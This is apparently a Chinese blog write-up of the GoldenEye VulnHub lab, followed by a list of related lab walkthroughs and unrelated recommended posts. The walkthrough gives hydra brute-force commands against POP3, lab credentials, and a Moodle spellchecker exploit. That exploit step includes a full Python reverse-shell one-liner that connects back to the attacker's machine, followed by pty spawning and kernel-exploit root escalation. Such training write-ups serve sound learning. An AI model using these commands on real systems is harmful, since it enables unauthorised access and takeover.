注:因记录时间不同,记录中1.111和1.105均为靶机地址。

1信息收集

1.1得到目标,相关界面如下:

1.2简单信息收集

wappalyzer插件显示:

  web服务器:Apache 2.4.7

  OS:Ubuntu

Nmap扫描端口:

  Open port 80/25/55006/55007

1.3查看web页面更多信息

页面显示添加/sev-home/访问,于是访问http://172.16.1.111/sev-home/如下

没有用用户名密码,且页面无更多信息,尝试查看源码

发现terminal.js文件

点击查看

js文件中涉及信息如下:

  人名:Boris,Natalya

  编码:

    

html实体编码,解码后为:InvincibleHack3r

尝试使用已知两个用户名和解码后的信息登陆,发现登陆失败。Boris小写后成功登陆

登陆后的页面信息提示:

  “pop3服务配置为在一个非常高的非默认端口上运行”

结合最初nmap扫描的信息,可能为55006或55007。

识别端口:

  Nmap识别:Nmap -Pn -p your-port -sV your-IP,显示pop3端口为55007

  我是偶然加端口访问,看到相关端口信息

爆破POP3

利用已知用户名,使用工具进行爆破。这里使用hydra。

root@kali:~# hydra -l natalya -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3

root@kali:~# hydra -l boris -P 6000dict.txt 172.16.1.105 -f -s 55007 pop3

PS:hydra用法:

  hydra -l muts -P pass.txt my.pop3.mail pop3

    -l 指定用户名

    -L 指定用户名字典

    -p 指定密码破解

    -P 指定密码字典

    -f 破解一个就停止

    -s 指定端口

截止目前,爆破得到的信息如下

  N:boris  P:secert1!

  N:natalya  P:bird

nc查看账户

boris账户登录:

(不知道什么原因,其他人能正常登录,我的不行。好在账户的三封邮件信息无关)

natalya账户登录:

查看第一封邮件

(好像没有有价值信息)

查看第二封邮件

从邮件进一步得到信息:

  username: xenia

  password: RCP90rulez!

  Domain: severnaya-station.com/gnocertdir

并指出需要host文件 severnaya-station.com in /etc/hosts.

按照套路,使用得到的用户名和密码登录邮箱,显示失败。转向web界面尝试。

修改本机host文件

Win10下位置(没有则新建):/windows/system32/drivers/etc

修改内容:172.16.1.105   severnaya-station.com

访问severnaya-station.com/gnocertdir

登录

到此,正式登录系统

2 漏洞发现

登陆系统,例行查看信息

发现cms类型,js库版本,编程语言等更多信息。

随处点击查看,发现 

猜想CMS为moodle,版本为2.2.3

百度搜索该CMS漏洞,发现有rce漏洞。msf搜索,发现exp。

在所有必要信息中,缺少用户名和密码。先放一放,继续查看

登录后,打开看到未读邮件,发现用户doak

继续使用工具对doak账户进行爆破

  USER doak

  PASS goat

登录doak邮箱,查看邮件

得到

  账号 dr_doak

  密码 4England!

(邮箱尝试,不存在该用户)网页登录,发现如下内容

点击文档下载查看

提到图片 /dir007key/for-007.jpg

查看http://severnaya-station.com/dir007key/for-007.jpg

网上看Linux下使用strings工具多图片进行分析

不会用,没有找到有用信息

使用exiftool,查看

或者查看图片信息

发现信息:eFdpbnRlcjE5OTV4IQ==

使用小葵解密,为xWinter1995x!

继续查看,发现如下。猜测admin为管理员账户

使用admin账户 xWinter1995x!密码登录

页面信息印证CMS版本猜想

至此,得到使用该CMS漏洞exp的所有信息

3漏洞利用

使用Msf的exp

运行失败

拿shell方法2

百度搜索,找到另一种方法

1、在Home >Site administration >Server >System paths中添加反弹shell的代码

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

2、在 Home >Site administration>Plugins > Text editors >TinyMCE HTML editor中将Spell engine改为PSpellShell

3、本地nc监听端口

4、在Home> My profile >Blogs >Add a new entry随便填点东西,然后点击下图中红框的Toggle spellchecker,之后就获得shell

获取shell之后要做的第一件事是使用Python获取一个tty

python -c 'import pty; pty.spawn("/bin/bash")'

4 权限提升

查看当前服务器版本

kali查找可用提权方式

找到kali中的文件,放到本地

Python开启服务

在nc中连接,将本机文件上传至靶机(这里改名为444.c)

因靶机中未安装gcc,故用cc编译,需将文件中一处gcc换为cc

上传>编译>修改权限>执行

到此,拿到root权限

Goldeneye 靶机过关记录的更多相关文章

  1. Vulnhub-dpwwn-01靶机过关记录

    靶机地址:172.16.1.192 Kali 目录扫描 查看info.php 端口扫描 开放3306,尝试弱密码或爆破mysql. 账户为root,密码为空,成功登陆. 查看数据库:再查看ssh表 查 ...

  2. AI-web-1靶机过关记录

    靶机地址:172.16.1.195 Kali地址:172.16.1.107 1.信息收集 端口扫描: 目录扫描: 发现robots.txt敏感文件,查看 存在/m3diNf0/,/se3reTdir7 ...

  3. Os-hackNos-1靶机过关记录

    靶机地址:172.16.1.198(或112)  kali地址:172.16.1.108 1 信息收集 靶机界面如下 简单查看 OS:Ubuntu Web:Apache2.4.18 尝试端口扫描 开放 ...

  4. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  5. GoldenEye靶机work_through暨CVE-2013-3630复现

    前言 备考OSCP,所以接下来会做一系列的OSCP向靶机来练手 靶机描述 I recently got done creating an OSCP type vulnerable machine th ...

  6. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  7. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

随机推荐

  1. 报错代码:svn-http status413'requset entity too large

    报错代码:svn-http status413'requset entity too large 发现报错,判断问题.解决问题.记录问题. SVN服务器端排查过没有问题,其他客户端都能正常更新.只有一 ...

  2. ArcGIS Server的安装

    1.双击ArcGIS Server安装目录下的Setup.exe. 2.点击“Next”. 3.选择“I accept the license agreement”,点击“Next”. 4.点击“Ch ...

  3. css指示箭头两种实现方法

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. Blazor入门笔记(4)-组件的生命周期

    1.环境 VS2019 16.5.1.NET Core SDK 3.1.200Blazor WebAssembly Templates 3.2.0-preview2.20160.5 2.简介 Blaz ...

  5. Coding 是门技术

    今天的分享来源于工作中的点点滴滴…… 01. 习惯性自嘲 代码写久了,伴随肩疼头痛眼近视,于是乎也就成了名副其实的 code farmer(码农),作为如牛吃草挤奶般的码农,吃草(撸)挤奶(码)便是日 ...

  6. JS数据结构与算法 - 二叉树(一)基本算法

    仅供JavaScript刷题参考用. 二叉查找树和平衡二叉树 其它树:满二叉树.完全二叉树.完美二叉树.哈弗曼树.二叉查找树BST.平衡二叉树AVL 了解:红黑树,是一种特殊的二叉树.这种树可以进行高 ...

  7. Golang入门(1):安装与配置环境变量的意义

    摘要 在几年前学习Java的时候,环境的配置就会劝退一部分的初学者.而对于Golang来说,也需要从环境的配置开始学起.这一篇文章将从如何安装Golang开始讲起,随后将会提到Golang中的环境变量 ...

  8. Nginx知多少系列之(二)安装

    目录 1.前言 2.安装 3.配置文件详解 4.Linux下托管.NET Core项目 5.Linux下.NET Core项目负载均衡 6.Linux下.NET Core项目Nginx+Keepali ...

  9. SpringMVC(五):JSON

    本文是按照狂神说的教学视频学习的笔记,强力推荐,教学深入浅出一遍就懂!b站搜索狂神说或点击下面链接 https://space.bilibili.com/95256449?spm_id_from=33 ...

  10. MySQL入门,第二部分,必备基础知识点

    一.数据类型 日期和时间数据类型 date 字节 日期,格式:2014-09-18 日期和时间数据类型 time 字节 时间,格式:08:42:30 日期和时间数据类型 datetime 字节 日期时 ...